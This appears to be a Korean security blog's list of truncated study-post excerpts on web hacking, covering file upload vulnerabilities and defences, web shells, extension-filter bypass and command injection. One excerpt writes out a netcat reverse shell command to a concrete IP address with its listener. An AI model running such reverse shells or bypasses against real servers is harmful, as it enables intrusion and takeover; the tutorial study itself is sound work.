서버시간 가져오기 -> 아무런 데이터를 받는 요청을 보냄 -> Headers Date의 시간을 통해 서버시간 추정 가능 fetch('URL?id=3').then(r => { consol.log(r.headers.get('Date')); }); fetch('URL', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ id: 3 }) }).then(r => { console.log(r.headers.get('Date')); }); 위와같이 요청을 보내 서버시간을 받음 unix time : 1970년 1월 1일 00:00:00 UTC부터 경과한 시간을 초 단위로 표현하는 방식 아래와 같은 방식으로 보..
1. 파일 다운 및 압축 해제 https://developer.android.com/studio/releases/platform-tools?hl=ko SDK 플랫폼 도구 출시 노트 | Android 개발자 | Android Developers Android SDK 플랫폼 도구는 Android SDK의 구성요소입니다. developer.android.com 위에서 Android SDK Platform-Tools 다운 임의의폴더에 압축 해제 E:\Program Files\platform-tools 2. 환경변수 설정 시스템 속성 -> 환경변수 사용자 변수 -> 편집 -> 새로 만들기 -> 압축 해제한 파일 위치(platform-tools위치)입력 3. ADB 실행 안드로이드 개발자옵에서 USB디버깅 허용 설..
File Upload : 공격자가 임의의 파일을 업로드 하는 공격 취약점 발생 원인 :업로드 되는 파일 검증이 미흡 시나리오 1. 웹 쉘_ : 웹 쉘은 POC코드와 같이 테스트 하는 것. 리버스쉘은 탐지가 되기에 빠르게 해야함. 2. DOS공격 3.디페이스 공격 : index.html을 업로드해서 변조 4. 페이지변조 (피싱) 5. 악성코드 유포(xss) 대응방법 1. 업로드 되는 파일을 DB에 저장. 바이너리 파일로 저장 -> CLOB / BLOB 2. NAS에 파일을 저장 단, 이 서버는 php와 같은 웹 서버가 설치되면 안됨. -> 업로드 되는 파일이 저장되는 서버를 웹서버와 분리 3. 파일 검증 - 확장자 검증 - 파일 시그니쳐 검증 - MIME TYPE 검증 **다른 확장자 실행 방법 (ex. ..
파일 업로드 취약점으로 사이트에 웹 쉘을 업로드 시켰다. 정상 작동을 하며 현제 사용자 id는 www-data 즉, 웹서버임을 확인 할 수 있다. Post-Exploit으로 주로 사용하는 시나리오는 소스코드 다운로드 혹은, 리버스 쉘 삽입이다. 따라서 웹 쉘을 이용해서 리버스 쉘 삽입을 해보도록 하겠다. 우선 리버스쉘의 동작 원리부터 설명하겠다. 리버스 쉘은 바인드 쉘과 반대로 공격자가 포트를 열어놓으면 피해자 서버에서 요청을 보내 통신을 하도록 한다. 공격자는 포트를 열고 접속을 기다렸다. nc -lvnp 1212 그리고 웹 쉘을 통해 피공격자 서버에 다음 명령을 실행시켰다. nc 110.9.135.75 1212 -e sh 이는 netcat을 이용해 공격자 서버의 1212포트로 접속하도록 하며 sh(쉘..
파일 업로드 취약점은 파일 업로드를 하는 곳에서 발생하게 된다. 파일 업로드 파트의 소스코드는 다음과 같다. 서버에서 실행이 가능한 파일이 무엇인지를 확인해야 한다. 소스코드를 보면 파일의 확장자명을 소스코드 기반 필터링을 하고 있다. 확장자명을 가져오는 방법은 pathinfo() 함수를 사용하고 있다. 이 함수의 경우 작동 원리가 맨 뒤의 점으로 부터 그 이후의 문자를 확장자명으로 가져오는 것이다. 예를들어 1.2.3.4.56.78입력시 .78이 확장자명이 되게 된다. 이에 더해서 strtolower()함수를 사용해서 확장자명의 대소문자를 모두 소문자로 변환시켜 저장하고 있다. 따라서 다음과 같은 우회방법은 불가능하다. 1. PhP와같이 대소문자 혼합 2. jpg.php와 같은 이중확장자 3. phtm..
대부분의 애플리케이션 제작 목적의 언어의 경우 시스템의 내장된 프로그램 호출 함수를 지원한다. 대표적인 함수는 다음과 같다. -php -Node.JS child_process(); -python os.system() 위 함수들을 사용할 경우 쉘 프로그램을 통해서 그 명령을 실행 하게 되는 것이다. Commend Injection : 악의적인 명령을 삽입하여 시스템 명령어로 실행하도록 하는 취약점 발생 원인 명령어를 실행하는 함수에 임의의 값을 전달 가능할경우 발생 위와 같은 함수는 &&, ;, |등의 문자를 통해 여러 명령어를 한번에 실행 가능하다. php에서 passthru함수를 통해 제작한 one line web shell을 사용하였다. 위의 웹 쉘에 명령어를 입력한 결과이다. 반면 다음과 같이 한번..